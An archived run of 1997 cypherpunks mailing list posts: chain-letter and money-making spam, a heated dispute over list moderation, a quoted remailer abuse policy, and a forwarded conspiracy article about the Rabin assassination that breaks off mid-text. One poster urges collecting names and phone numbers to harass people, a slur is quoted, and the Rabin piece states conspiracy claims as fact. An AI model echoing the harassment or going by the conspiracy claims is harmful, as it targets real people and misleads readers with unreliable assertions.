                 TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                      
                     TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                          
     TTTTTTTT                                  
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                     
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    
***************************************************************************************	
                 ***  TAG,   YOU' RE   IT   !!!!!!  ***
***************************************************************************************You
have been a victim in The Great E-mail Game of Tag!  There are no
tagbacks, and you must send this to someone else to rid yourself of being
it!Send this to friends, classmates, co-workers, famous people, jerks,
orfools.  Send another copy to other people to start your own game!  
Just remember to have fun!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 20:25:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Hash functions
Message-ID: <199702080425.UAA08798@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. Mayo's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists into 
which it is cross-ruminated.

        o      o o o   o
       /~>    <><><>   <> Timothy C. Mayo
    o...(\    ||||||   ||






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: action@answerme.com
Date: Fri, 7 Feb 1997 21:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: ** THE 30 SECOND COMMUTE **
Message-ID: <199702080541.VAA10377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,
Date: Fri, 7 Feb 1997 23:15:29 -0600
Message-Id: <05152934600809@sitegen.net>




         WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE!
        
 Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell 
 you about a little restaurant named McDonald's.  If you had bought the stock that I was 
 selling then, you'd certainly be doing the 30 second commute now!! 
 Seriously, had you bought that stock then, it would've been the right decision.


 Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. 
 
 What I want to know is:

 1.  Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself 
     and family?
 2.  Would you trade $100 for $600 ?
 3.  If you got promoted to president of the company, would you accept?
 4.  Would you make the right decision now, if you had to?
 5.  Would you e-mail me to see how you can do the 30 second commute?

 mailto: action@answerme.com
 
 Matt Emerson
 Toll Free: 1 800-976-8608
 Fax:         602 641-3514
 InterNet Address: http://www.rb-dist.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: E-Mail Communications <freedom@econopromo.com>
Date: Fri, 7 Feb 1997 22:40:58 -0800 (PST)
To: you@alberta.sallynet.com
Subject: Internet Alert! Pay for local dial-up??
Message-ID: <199702080640.WAA11479@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



*****************************************

INTERNET USERS ALERT!!!   It has come to our attention that several
local telephone companies have petitioned the FCC for permission
to charge Internet Users by the minute for  LOCAL  dial-up telephone 
service.  This would affect every Internet User, including those
using AOL dial-up. 

For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
Please send an E-Mail to  isp@fcc.gov
to express your outrage at the idea of allowing telephone companies
to charge by the minute for LOCAL dial-up service.  E-Mail comments
must be sent by Feb. 13th, 1997.  This affects every Internet user!!

*******************************************

  - FREEDOM NEWSLETTER -
Feb. 7th,  1997

*******************************************


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***********************************************

ATTENTION ON-LINE  ADVERTISERS! 
BE A SPONSOR AND GET YOUR MESSAGE OUT TO MILLIONS!

If you would like to place your message before 1/2 million on-line
readers a week, we can do it for you for as little as $10 per line! We
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For full details, call our office @  919-772-8855  9-5 Eastern Time  -
 OR -    HIT REPLY     and  type -  ADINFO -  in the message area. Our
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***********************************************
Quotes that make sense:

"We tried to provide more for the poor and produced more poor instead.
We tried to remove the barriers to escape poverty, and inadvertently
built a trap"  

--Charles Murray

"Character is doing what's right when nobody's watching"

--Congressman J.C. Watts

"The point to remember is that what the government gives,
it must first take away."

-- John S. Coleman

"We will always remember.  We will always be proud.  We will
always be prepared, so we may always be free."

-- President Ronald W. Reagan  June 6, 1984 -  Normandy, France

"Blessed is the Nation whose God is the Lord"

-- Psalms 33:12

*****************************









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 8 Feb 1997 07:57:42 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: WANTED: Tolerant, anonymity-friendly news admins 1.03
Message-ID: <199702081557.HAA20052@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 7 Feb 1997, lcs Remailer Administrator wrote:

> aga <aga@dhp.com> writes:
> 
> > Who attacked the network and for what reason?
> 
> Well, as best I can tell I've gotten caught in the crossfire of a
> spam/"anti-spam" spam war.  People are forging articles through
> anonymous remailers to solicit spam to non-spamming customers of
> "spam-friendly" ISPs, in the hopes of driving those customers away.
> In other words, a lot of articles are being posted to groups like
> alt.make.money.fast with headers like:
> 
>  From: customer@isp.under.attack (My^ISP^spams^I^should^switch)
> 
> Then the spam bots collect the addresses, and send lots of mail like
> 
>  To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
>  Subject: Great opportunity!!!
> 
>  My^ISP^spams^I^should^switch,
> 
>  I saw your post the other day, and have an oportunity for you that's
>  so good you can't miss it...
> 
> It would be amusing if it weren't causing me hassles.  Ultimately,
> however, the person doing this is clearly trying to get ISPs to set
> more restrictive policies about what mail/news customers can send,

Well, that is bullshit, and that person needs to be stopped.  Anyone
trying to get more restrictive policies needs weeded out and
identified, and then dealt with.

> while knocking off a few anonymous remailers and mail2news gateways in
> the process.
> 
> > Well, just who is cutting you off and for what reason?
> > And what is their telephone number?
> 
> At issue here are a number of complicated high-level administrative
> issues.  It's not just that someone is trying to pull the plug on me.
> I've been asked by someone who is not the one getting the phone calls
> or exerting anti-mail2news pressure if I would stop using MIT news
> servers.  The reason is that that person needs to maintain good
> relations with the people who are being harassed over the fogery.
> 

Just who is getting harassed over this.  All you need to do is get me
the names and phone numbers, and we will eliminate this problem
immediately. 

> I don't really want to go into details.  

No, do not do it in this list, but respond by a private response
to this address.  This is a place you can trust.

The point is that this
> situation is a lot more subtle than whether the pro-mail2news people
> can "out-harrass" the people complaining about forgeries.  Therefore,
> I would sincerely appreciate it if you did not try to make any phone
> calls or do anything to use up any more of these people's time.

Well, it sounds like you are being a chicken shit now.  The whole
world runs on the telephone, and it all runs by voice, and not by
text.

  I
> fully intend to keep mail2news running, and am just trying to get more
> news servers (after having lost one) to maintain reliability and
> strengthen my position.
> 
> > Just what is your definition of "abuse?"
> 
> This got answered in a separate message.
> 

yes it did.  But why the fuck do you not want to find out who did
this to you?  I mean, Jesus fucking CHRIST!  Let's get some fucking
balls here.  You can not let that mothetfucker get away with that!

All you need is telephone numbers for some VERY nice phone calls.
Learn to use your voice and not just your keyboard.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks-unedited
Date: Sat, 8 Feb 1997 08:12:07 -0800 (PST)
Subject: No Subject
Message-ID: <199702081612.IAA21561@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Sears <jsears@lsbsdi2.lightspeed.net>
Date: Tue, 11 Feb 1997 05:55:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: hello
Message-ID: <199702111355.FAA18854@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


unscribe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 05:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: META: Censorship is Going Way too Far
Message-ID: <199702111356.FAA18896@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Fellow Cypherpunks (of the virtual community, even if not part of any
particular version of the list(s)),


I am about to drive over the Santa Cruz mountains for today's physical
meeting at Stanford, and made my last check of the Singapore archive site
to see if my last several messages to the CP list have appeared. (The
Singapore site archives the main list every four hours; the latest update
is 08:15 PST, local time.)

They have _not_ appeared, on either of the two lists, the main list and
filtered list. I don't know if they have appeared on the "unfiltered" list,
as I don't have access to an archive site for that, and don't subscribe to
it.  Some of these articles are now more than 18 hours old.

(I scanned the archive site carefully and did not see any of my articles.
If I somehow missed them (all four?!), I apologize to the Moderator and
will make an appointment with my eye doctor.)

Further, messages dated _much_ later in time are now on the Singapore site,
meaning they were "approved." (The latest such message I see is from J.
Blatz, and is dated 2/8/97, 02:58 a.m., EST, which is fully 10 hours after
the first of my messages which never appeared on either the main list or
the flames list.)

My articles are dated:

* 2/7/97, 1:46 p.m. PST

* 2/7/97, 1:59 p.m., PST

* 2/7/97, 3:03 p.m., PST

* 2/7/97, 9:46 p.m., PST

I would normally give the message names here, but I suspect that even
mention of the message titles would cause _this_ message to be filtered
into the black hole  list. So, by avoiding even mention of the message
titles, I should be safe. Nothing in this message can be considered flamish
(beyond normal criticism) or libelous.

(Many articles with dates later than these have already appeared on the
main list, and some have already appeared on the Flames list. Why have none
of my articles gone through as of this morning?)

The subjects of my articles deal with the claims made by "Against
Moderation" and Vulis that certain articles were filtered from the stream
of articles without appearing on either the main list or the flames list,
and with no mention by the Moderator of this significant change to the
moderation policies.

I surmise that my articles are similarly vanishing into a black hole,
presumably because I have questioned the policies here. (Possibly my
articles have been side-tracked for further review, or for review by a
certain company's legal staff, or whatever. If so, this should be explained
to the main list. And the implications of this, if it is happening, should
be discussed on the main list.)

By the way, I will deliberately make no mention of the details of my
articles, or of those by Against Moderation, as I also surmise that any
articles dealing with a certain product by a certain company will be
filtered out completely.

(I carefully did not repeat the claims made against one of these products
in my articles, so there is no way under the sun I can be charged in any
court with "libel.")

To paraphrase the Detweiler of a couple of years ago, "I am quite shocked
by this situation." It is one thing to filter out posts which contain
infantile, barnyard taunts and insults, it is quite another to filter out
_content_.

And it is even worse to not pass on these filtered comments to the "flames"
list, which was putatively set up to contain such comments. Worse still
that the list as a whole is not being told of this policy, and that posts
which mention it are not going out.

(There has been some discussion of articles not going out, such as in Igor
Chudov's recent articles, but I surmise from his article that Igor is
unaware of the filtering I'm talking about here. I am copying Igor on this
message, to ensure he knows at least part of what is going on here.)

There is no justification in any of the stated moderation goals for
blocking articles such as mine, or this one.

As my posts yesterday did not contain flames or insults (beyond normal
minor turns of phrase some might not like, just as _this_ post contains
mildly flamish comments if one is so inclined to see _any_ criticism as
flamish), they should have appeared on the main list. They have not, so
far, even though articles generated many hours later have already appeared
on the main list.

And, as of minutes ago, they have not appeared on the Flames list, even if
the Moderator decided they were flamish. (Even if _one_ was, arguably, not
all of them were.)

So, we are increasingly in a situation where:

a. the moderation policies appear to be changing on a daily basis

b. articles which are not even flamish are being dumped

c. some of these dumped articles are not even appearing on the "Flames" list

d. the appearance of a conflict of interest is increasing

e. discussion is being squelched

I am cc:ing this message to a handful of Cypherpunks to ensure that it gets
some propagation before today's meeting.

I find it very sad that things have come to this.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl8.crl.com>
Date: Sat, 8 Feb 1997 10:27:47 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: MODERATION
Message-ID: <199702081827.KAA00722@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

I'm ending my participation in the moderation of the list.  It 
would have been an interesting experiment if list members had 
been open minded enough to give it a good faith effort.  Instead,
those who weren't even willing to give another approach a try, 
set out to sabotage it and destroy any possibility of a meaningful 
test of the concept.  I see no reason to prolong the agony.

I've asked John to take me out of the loop as soon as possible.
If he can't get that done right away, I'll continue to moderate
in some capacity so that list members aren't cut off.  However,
I'm going to take a break today to help a friend move into her
apartment.  There won't be any messages forwarded for the next
24 hours or so.  Hopefully, John will have things switched over
by that then.  If not, I shove whatever is in the queue on down 
the line.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 07:56:02 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: censorship and headers
Message-ID: <199702081556.HAA20010@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
+sirius.infonex.com (root@sirius.infonex.com [206.170.114.2]) by
+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
+X-Mailer: WinSock Remailer Version ALPHA1.3
+X-Comments: -
+X-Comments: This message is NOT from winsock@rigel.cyberpass.net.  It
+was  X-Comments: remailed by an automated anonymous remailer.
+X-Comments: -
+X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO:
+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
+X-Comments: -
+X-Comments:     WinSock Remailer (winsock@rigel.cyberpass.net)
+X-Comments:           http://www.cyberpass.net/~winsock/ X-Comments: -
+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
+X-Remailer-Setup: All messages must be PGP encrypted
+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 05:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
Message-ID: <199702111356.FAA18897@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the C2Net Censor tossed the following question to flames:

Secret Squirrel <nobody@squirrel.owl.de> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > c.musselman@internetmci.com (Charley Musselman) writes:
> > > C'punks --
> > >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > > and suggested that he use an anonymous remailer to post to the group,
> > > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > > anyone know the answer?  Specifically, how can we choose a trusted
> > > remailer?
> >
> > Even if the feds are not directtly involved, the so-called "cypher punk"
> > remailers are run by people who should not be trusted.  Check out their
> > remailer-operators list: it's full of announcements that some specific
> > person posted something via the remailer that the operator didn't like.
>
> Examples, please?

Plenty. There was a whole thread about the operator of the defunct lead
remailer disclosing his users' identities. Here's a recent one:

]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 6 Feb 1997 23:37:35 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id PAA09050; Thu, 6 Feb 1997 15:37:34 -0800 (PST)
]Message-Id: <3.0.32.19970206160603.0086acb0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 16:06:04 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Commercial SPAM from ClaritaInc@aol.com
]Mime-Version: 1.0
]Content-Type: text/plain; charset="us-ascii"
]
]
]Tofu trapped a bunch of shit coming from ClaritaInc@aol.com.  They're
]posting to usenet, advertising things for sale (Including a $10 pamphlet
]explaining how to send anonymous internet email, and the standard
]make.money.fast chainletter scheme)
]
]I've source blocked them, I suggest you do the same.
]
]-Jeff

Jeff also said the following, which seems to contradict the above:

]Delivered-To: remailer-operators@anon.lcs.mit.edu
]Received: from get.wired.com (HELO wired.com) (204.62.131.5)
]  by anon.lcs.mit.edu with SMTP; 7 Feb 1997 01:17:48 -0000
]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id RAA26127; Thu, 6 Feb 1997 17:17:47 -0800 (PST)
]Message-Id: <3.0.32.19970206174616.0086c8e0@get.hotwired.com>
]X-Sender: toxic@get.hotwired.com
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Thu, 06 Feb 1997 17:46:16 -0800
]To: remailer-operators@anon.lcs.mit.edu
]From: Jeff Burchell <toxic@hotwired.com>
]Subject: Useage Policy.
]Mime-Version: 1.0
]Content-Type: text/plain; charset="iso-8859-1"
]Content-Transfer-Encoding: quoted-printable
]
]
]I'm in the process of setting up an autoresponder on the
]abuse@mailmasher.com address.  I'd appreciate people's feedback to this
]autoresponder message, and the policies that it describes...
]
]
]Hi.  This is in regards to a letter you sent to abuse@mailmasher.com.  I
]hate autoresponders too, but I=92ve found that this is a special case and is
]probably warranted.
]I=92ve been running anonymous services for a couple of years now, and have
]answered thousands of pieces of email regarding MailMasher users.  Please
]take my word on this one, you really need to at least skim the rest of this
]message.
]
]I will read your email, I promise.  However, if your email can be answered
]by something that is contained in THIS message, I won=92t respond to it.
]Sorry.  I run MailMasher as sort of a hobby, while holding down a dayjob
]and I really don=92t have time to answer all mail personally.
]
]And now on to the important stuff=85
]
]First, the answer to the most frequently asked MailMasher question=85  If a
]user of the MailMasher is Harassing or otherwise bothering you,  it can be
]stopped.  Send a blank message to blockme@mailmasher.com.  Your email
]address will be added to a list of addresses that MailMasher will refuse to
]mail to, and you=92ll never get anything from here again.
]
]MailMasher is an anonymous service.  This means that even I don=92t know who
]is using it.  Any internet user can use a web interface to create an
]anonymous MailMasher email account.  I don=92t ask them who they are, and my
]machine doesn=92t keeps logs that could be used to identify users.  So
]please, don=92t ask me to identify a user.  I can=92t do it.=20
]
]I also don=92t filter anything for content.  Several years ago, in what has
]now come to be known as the Prodigy case (Stratton-Oakmont & Porush v.
]Prodigy.  Details at
]http://www.eff.org/pub/Legal/Cases/Stratton_Oakmont_Porush_v_Prodigy )   A
]legal standard was set.  Basically, if a service provider deletes posts,
]intercepts emails or otherwise tries to exercise editorial control over any
]of its users, then the service provider can be held responsible for ALL of
]the content that goes through the service.  MailMasher transfers around
]10,000 messages a day.  It is impossible for me to monitor traffic like
]that.  Therefore, I do not even know what most MailMasher users are using
]their accounts for.  It really isn=92t any of my business, and because I
]don=92t make it my business, legally, I can=92t be held responsible for the
]actions of MailMasher users.
]
]I also don=92t delete accounts.  Because, when I delete an account, the user
]can always come right back and create another one with a different address.
] If someone is going to be behaving badly on the Internet, I for one would
]prefer that they always do it from the same email address, so I can just
]add them to my killfile or email filters.
]
]So, to summarize:
]
]1.  I intentionally have made it impossible for anyone, including myself to
]determine the identities of MailMasher users.
]2.  I will not under any circumstances monitor a user or delete an account.
]3.  I will make a good faith effort to keep you from being bothered by
]MailMasher users,  through the use of a destination block filter.
]4.  I neither condone nor condemn any action taken by any MailMasher user,
]either in conjunction with their MailMasher use or not.
]
]So=85 you ask,  Why would I want to run a service that lets the spammers, an=
]d
]the porn freaks, and the warez kiddies do their thing?  The answer is
]simple: because it also allows for much much more.  A MailMasher user can
]communicate without repercussions to people all over the world.  I have
]received many thank-yous from users sometimes explaining what they used my
]service for.  There are people in certain countries who have a very
]legitimate fear of speaking out, who use this and other anonymous services
]to communicate with the U.S.  Countless people have used anonymous services
]to very openly discuss items that are considered secret to certain members
]of the Church of Scientology.  Victims of all sorts of abuse can speak
]truly anonymously (sometimes for the first time).  Even abusers can speak
]freely, which helps with recovery.
]It is for these examples that I run this service.  I think a little noise
]and junk is a small price to pay for all of this.  You take the good with
]the bad.
]
]This is free speech in one of its most raw forms, staring you in the face.
]You may not like it; It may offend you; It might even encourage illegal
]behavior, but it is speech, and in the United States, it is protected by
]the Constitution. =20
]
]Thank you for your time.  If you=92d like to contact me again, without
]tripping this autoresponder, send mail to remailer-admin@mailmasher.com.
]
]-Jeff Burchell,  MailMasher Admin
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 06:11:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702111411.GAA19244@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:

> >(It is true that Vulis uses the phrase "Limey faggots," in reference to
> >beer-serving habits, but he does not directly insult any list members with
> >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
> >be blocked from their usual characterizations of Congresscritters and NSA
> >stooges.)
>
> TCM defending Vulis, I think I've died and am in some strange
> dreamworld. hehehehe

I actually liked most of what TCM wrote (even when not crypto-relevant)
and find myself missing his essays.  He was wrong to start flaming me for
no reason and to attribute to me stuff I never said; but we all make
mistakes and can get over them.

Saying bullshit about people (like Tim saying bullshit about me and
me saying bullshit about people) is one thing; it can be fun, or it
can be annoying when taken to extremes; but I've never sought
to silence Tim, and have no hard evidence that he tried to silence
anyone.

P.S. CMEPTb COBKAM!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 11 Feb 1997 06:11:34 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: META: Censorship is Going Way too Far
Message-ID: <199702111411.GAA19308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007800af225b8581dd@[207.167.93.63]>, on 02/08/97 at 11:22 AM,
   "Timothy C. May" <tcmay@got.net> said:


>They have _not_ appeared, on either of the two lists, the main list and
>filtered list. I don't know if they have appeared on the "unfiltered" list, as
>I don't have access to an archive site for that, and don't subscribe to it. 
>Some of these articles are now more than 18 hours old.

Hi Tim,

All 4 of your post made it to the unfiltered list.

I don't know what made it to the moderated/flam list as I had switched to the
unmoderated list yesterday morning.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: You're throwing it all out the Windows!

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Version: 2.6.2
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 05:56:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702111356.FAA18918@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos <mpd@netcom.com> writes:

> SANDY SANDFORT sez:
>
> > On Fri, 7 Feb 1997, Mike Duvos wrote:
>
> > > ...Messages apparently do not get moderated in the order in
> > > which they are received...
>
> > All messages are filtered and posted in the order in which I
> > receive them.
>
> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list.

Also not "all" messages are posted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Tue, 11 Feb 1997 06:12:27 -0800 (PST)
Subject: The Konformist - The Chamish Files Continued
Message-ID: <199702111412.GAA19470@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

Subj:  Rabin story
Date:  Tue, 04 Feb, 1997 09:43 AM EDT
From:  chamish@netmedia.net.il
>                           *  *  * 
>October saw the blatant inconsistencies between the official version of
events surrounding the Rabin assassination and the truth clash publicly.
Early in the month, Maariv's weekend magazine published a remarkable
collection of testimony from seven policemen and security agents on duty at
the assassination scene that fueled suspicions of a conspiracy from many
formerly skeptical readers. On October 18, the author of this piece was the
victim of an eight minute hatchet job on Israel Channel Two Television's
weekend magazine show that was shown again the next night. Despite the
blatant attempt at character assassination, as Yediot Ahronot reported the
Sunday following, I succeeded in igniting renewed national interest in the
possibility that Rabin's murder was not as officially reported.
>
>First the Maariv report. We begin with the issue of whether the alleged
assassin, Yigal Amir's bullets were real or not. It is not denied by the
Shamgar Commission that "Blanks, blanks," was yelled by someone while Amir's
shot his weapon. The conclusion is that Amir yelled it to confuse Rabin's
bodyguards, a contention he denies. It turns out that more than just
"Blanks, blanks" was shouted.
>
>S.G.- Shabak Agent Under Command of Rabin's bodyguard Yoram Rubin- "I heard
very clearly, `They're not real, they're not real,' during the shooting."
>A.A.- Personal Security Head of the Shabak- "I heard one shot and someone
shouting,`Not real, not real.' I can't say with certainty if it came from
the shooter."
>Avi Yahav, Tel Aviv policeman- "The shooter yelled, `They're caps, nothing,
caps.'"
>
>None of the police or security men heard the famous `Srak,srak,'
(blanks,blanks) shout. The scene they describe is of a number of people
shouting different phrases. What united the shouters was their belief that
blank bullets were being shot.
>
>How many bullets were shot?
>
>A.H.-Agent assigned to Yoram Rubin's staff- "I heard one shot, followed by
another."
>Maariv to A.A.- "Are you certain you only heard one shot?" A.A.-
"Absolutely certain."
>Avi Yahav- "I heard a number of shots. I'm not sure how many."
>S.G.- "As I approached the car, I heard three shots."
>
>The inability of security and police personnel trained to testify in court
to agree on the number of shots is puzzling but on one issue all agree; none
thought Rabin was hurt.
>
>Y.S.- Shabak Head of Security for the Tel Aviv rally- "I heard Rabin was
wounded only when I arrived at Ichilov Hospital some minutes later."
>S.G.- I didn't hear any cry of pain from the Prime Minister and didn't see
any signs of blood whatsoever...It wasn't until some time after that I was
told that Yoram Rubin was hurt."
>A.A.- "Only after a number of inquiries as to whether Rabin was hurt, did I
drive in shock to Ichilov."
>
>None of the security or police personnel detected any sign that Rabin was
hurt, a quite inexplicable fact when one considers that he was not merely
hurt but supposedly shot in the lung and spleen by two hollowpoint 9 mm
bullets. However, the "amateur" film of the assassination exonerates the
witnesses. After the film shows the blast from Amir's gun, Rabin is not
pushed forward by the pressure of the bullet, nor does he evince pain.
Rather, he keeps on walking and turns his head quickly to his left.
>
>Before examining the next issue of the Maariv article, let us skip to the
report on my research on Channel Two. Despite the snow job, one of my points
came across loud and clear and went a long way to keeping my name from being
totally besmirched. I showed the assassination film and pointed out that as
Rabin entered his car, the opposite side passenger door is slammed shut. I
